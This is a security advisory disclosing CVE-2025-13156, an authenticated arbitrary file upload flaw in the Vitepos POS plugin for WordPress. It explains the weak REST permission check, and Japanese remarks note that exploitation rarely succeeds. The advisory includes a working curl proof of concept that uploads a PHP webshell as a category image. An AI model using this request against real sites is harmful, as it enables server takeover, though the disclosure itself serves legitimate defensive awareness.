
Disclosure for CVE-2025-13156
Disclosure for CVE-2025-13156
This repository discloses a vulnerability discovered in Vitepos – Point of Sale (POS) for WooCommerce <= 3.3.0,WordPress plugin developed by appsbd.
| CVE ID | Type | Component | Impact |
|---|
| CVE-2025-13156 | Authenticated (Subscriber+) Arbitrary File Upload to Remote Code Execution | modules/class-pos-settings.php api/v1/class-pos-product-api.php | To upload arbitrary files on the affected site's server |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
The plugin’s REST routes under /wp-json/vitepos/v1/product/... rely on a permissive permission check that effectively accepts any logged-in user (is_user_logged_in()), ignoring whether the caller is a POS user or has the capability to manage product terms. As a result, low-privileged roles (e.g., Subscriber) can reach endpoints like add-category/update-category.
WebRoot直下には置けないため、環境によって成功しない場合がある。Uploads配下は基本PHPの実行が許可されていないので、よほど変な環境じゃないと無理じゃないかなあと思った。
MIME許可リストにapplication/octet-streamという文字列が見えた瞬間嫌な予感がしたが本当に成功してしまい、ビックリだった。
本来はWordPressのコア部分がPHPのアップロードを防いでいるのだが、このプラグインは独自の処理を実装していたため、今回の脆弱性が再現出来た。かな~りレアケースです。
Name: MooseLove
Role: Independent security researcher / bug hunter
Contact: Available upon request
This advisory is provided for public security awareness. Free to share with attribution.